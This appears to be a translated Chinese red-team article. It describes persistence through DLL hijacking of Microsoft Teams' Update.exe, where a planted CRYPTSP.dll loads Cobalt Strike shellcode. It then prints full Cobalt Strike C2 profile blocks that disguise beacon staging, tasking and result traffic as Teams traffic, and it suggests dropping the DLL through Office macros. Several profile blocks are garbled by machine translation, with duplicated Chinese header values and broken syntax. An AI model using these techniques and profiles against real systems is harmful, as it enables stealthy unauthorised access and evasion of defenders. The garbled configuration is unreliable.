利用 Microsoft Teams 維權并掩蓋 Cobalt Strike 流量
介紹
在最近的一次操作中,我們獲得了工作站的本地管理員權限,但是在該工作站上發現了 EDR 解決方案。
在這種情況下,下一步是在目標中進行繞過EDR維權并在系統中持續進行攻擊。在探索了幾個方法后,我們決定使用DLL劫持來進行繞過EDR來維權,經過分析,一個Microsoft Teams二進制文件被確定為容易受到DLL Hijacking 的攻擊。
本文解析了維權和C&C的流量如何繞過EDR,一是利用DLL劫持進行維權,然后詳細介紹了在使用 Cobalt Strike C2 配置文件與 C&C 通信時如何模擬合法的 Microsoft Teams 流量。
通過DLL劫持持久化
為了簡化流程,我們準備了一個盡可能接近目標的本地環境,以進行相應的測試。之后,我們使用進程監視器來識別嘗試加載不存在的 DLL 的進程。


發現進程“Update.exe”(32 位)試圖從可執行目錄加載“ CRYPTSP.dll ”,但未能成功,因為文件位于 C:\Windows\SysWOW64。
這意味著,如果惡意 DLL 與二進制文件位于同一目錄中,則下次啟動“Update.exe”時,該進程將首先加載該DLL。
經過分析我們認為此可執行文件是在目標中進行維權的理想方法:
它是一個應用程序更新管理器 ( Squirrel ),存在于多個產品安裝中(Teams、Slack、Discord、Webex)。在這種情況下,它是 Microsoft Teams 的一部分,它由 Microsoft 簽名。每次用戶打開應用程序時都會執行它。
默認安裝會在 Windows 注冊表中設置一個 Run 鍵,每次用戶登錄時都會自動啟動應用程序。
它可以與 Internet 建立常規 HTTP 連接,那么可能為我們提供一種偽裝與 C&C 通信的方法。

選定目標后,我們需要實現一個執行惡意代碼的 DLL(在本例中為 Cobalt Strike 負載)。
為了實現這一點,我們需要在調試二進制文件在所有導入的函數上放置斷點,以檢查哪些函數首先在“CRYPTSP.dll”中被調用。
CryptAcquireContextW() 斷點

這表明這CryptAcquireContextW()是“Update.exe”調用的第一個函數,因此紅隊開發了一個庫,該庫使用自定義加載程序導出此函數,該加載程序從磁盤解密并執行原始 Cobalt Strike 有效載荷(shellcode).當然也可以使用DLL代理。
(譯者注:個人建議最好使用DLL代理)

在這種情況下,導出的函數執行以下操作:
如果有效負載已執行,則使用互斥鎖停止執行。stale()函數調用來逃避一些機器學習和沙盒檢查。從磁盤檢索和解密 Shellcode。Teams.exe 執行以模仿 Update.exe 的合法行為。通過執行的shellcode CreateFileMapping+MapViewOfFile+memcpy技術。
隱藏與 C&C 的通信
由于環境的限制,Internet 連接只允許與 Microsoft 域進行連接,因此域前端與定制的 Cobalt Strike 配置文件一起使用。這些設置提供了一種靈活的方式來構建 HTTP 請求和響應以與 C&C 通信。
使用此功能來隱藏代理的通信,模仿 Microsoft Teams 發出的 HTTP 流量。在這種情況下,使用了分段有效載荷,它分為兩部分:stager 和 stage。第一個,較小的,負責獲取第二個 C&C 階段:一個包含所有代理邏輯(Cobalt Strike 術語中的信標)的 DLL,它將被反射加載到內存中。通過使用這種類型的有效載荷,與 C&C 的通信流可以分為 3 種類型:
獲取 Cobalt DLL 的初始請求。植入請求以獲取任務。植入請求以發送任務結果。
Stager:獲取beacon
http-stager 部分定義了如何檢索信標,其中 stager 請求模擬圖像下載,使用 Microsoft Teams 自己的 HTTP 標頭。響應似乎是合法圖片,但包含信標 DLL。
為了實現這一點,我們需要使用了格式好的 JPEG 標頭和尾隨字節。
http-stager { set uri_x86 "/v1/objects/0-neu-d10-ccab474e582c03325f9f07ba8a3aae8a/views/imgo"; set uri_x64 "/v1/objects/0-neu-d10-cdab424e592c03253f9f07ba8d9aae8a/views/imgo"; client { header "Host"""; header "x-mx-client-version""27/1.0.0.2021020410"; header "Origin""https://teams.microsoft"; parameter "v""1"; } server { header "Server""Microsoft-IIS/10.0"; header "strict-transport-security""max-age=31536000; includeSubDomains"; header "X-Powered-By""ARR/3.0"; header "X-Content-Type-Options""nosniff"; header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency""40018.2038"; header "Timing-Allow-Origin""https://teams.microsoft.com"; header "Access-Control-Allow-Origin""https://teams.microsoft.com"; header "Access-Control-Allow-Credentials""true"; header "Connection""close"; header "Content-Type""image/jpeg"; output { prepend "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xFF\xDB\x00\x43\x00"; append "\xF9\x7C\xF3\x4E\x3F\xEC\x7F\x82\x8C\xA4\xB5\x5B\x3E\x64\x11\xE7\xEA\x78\x70\xCD\x6B\xFE\x0E\x1F\xFF\xD9"; print; } }}

這樣,Wireshark 等工具會將 HTTP 響應的內容識別為 JPEG 圖像。

beacon獲取任務
配置文件的以下部分用于定義 Cobalt Strike 代理要求執行新任務的定期請求格式。
這些請求使用events”GET 參數來發送 base64 編碼的會話信息。由服務器編碼的信息被嵌入到看似合法的響應中。
http-get { set uri "/Collector/2.0/settings/"“/收集器/ 2.0 /設置/” ;; client { header "Accept"“接受” "json"“json” ;; header "Host"“主機” ""“<端點Azure >” ;; header "Referer"“推薦人” "https://teams.microsoft.com/_"“https://teams.microsoft.com/_” ;; header "x-ms-session-id"“x-ms-session-id” "f73c3186-057a-d996-3b63-b6e5de6ef20c"“f73c3186 - 057 a - d996 - 3 - b63 b6e5de6ef20c” ;; header "x-ms-client-type"“x-ms-client-type” "desktop"“桌面” ;; header "x-mx-client-version"“x-mx-client-version” "27/1.0.0.2021020410"“27/1.0.0.2021020410” ;; header "Accept-Encoding"“接受編碼” "gzip, deflate, br"“gzip、縮小,br” ;; header "Origin""https://teams.microsoft.com";
parameter "qsp""true"; parameter "client-id""NO_AUTH"; parameter "sdk-version""ACT-Web-JS-2.5.0&";
metadata { base64url; parameter "events"; } } server { header "Content-Type""application/json; charset=utf-8"; header "Server""Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options""nosniff"; header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency""40018.2038"; header "Access-Control-Allow-Origin""https://teams.microsoft.com"; header "Access-Control-Allow-Credentials""true"; header "Connection""keep-alive"; output { netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"; print; } }}
發送命令

Beacon: 發送結果
最后,http-post 塊指定了從代理發送到 C&C 的結果請求的格式。對于此示例,輸出位于 Authentication HTTP 標頭內,我們偽裝成 JWT 身份驗證令牌。
http-post { set verb "GET"; set uri "/users/8:orgid:b1a28-a1c3-3d54-4eb01adb1/endpoints/events/poll";
client { header "Accept""json"; header "Host"""; header "Referer""https://teams.microsoft.com/_"; header "x-ms-query-params""cursor=1613554385&epfs=srt&sca=5&activeTimeout=135"; header "x-ms-client-type""desktop"; header "x-mx-client-version""27/1.0.0.2021020410"; header "Accept-Encoding""gzip, deflate, br"; header "Origin""https://teams.microsoft"; output { base64; prepend "skypetoken=eyJhbGciOi"; header "Authentication"; } id { netbios; prepend "f73c3186-057a-d996-3b63-"; header "x-ms-session-id"; }} server { header "Content-Type""application/json; charset=utf-8"; header "Server""Microsoft-HTTPAPI/2.0"; header "X-Content-Type-Options""nosniff"; header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26"; header "x-ms-latency""40018.2038"; header "Access-Control-Allow-Origin""https://teams.microsoft.com"; header "Access-Control-Allow-Credentials""true"; header "Connection""keep-alive";
output {{ netbios; prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"”{\“\”:\“https://westeurope刺激- 3. notifications.teams.microsoft.com/users/8: orgid: a17481c3 f754 - 4 d06 - 9730 - 4 - eb0be94afc3 /端點/” ;; append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"“光標/事件/調查? = 1613554385 &epfs = srt&sca = 4}” ;; print; } }}
發送結果

結論
本文展示了攻擊者如何利用服務中的 DLL 劫持漏洞通過簽名的二進制文件執行惡意代碼,模仿相應合法應用程序的流量,以最大限度地減少被檢測到的機會。
應該注意的是,這種技術在社會工程練習中也很有用,其中通過 Microsoft Office 宏在使用此應用程序更新管理器的任何應用程序目錄中部署惡意 DLL 就足夠了,而無需直接注入或執行任何有效負載。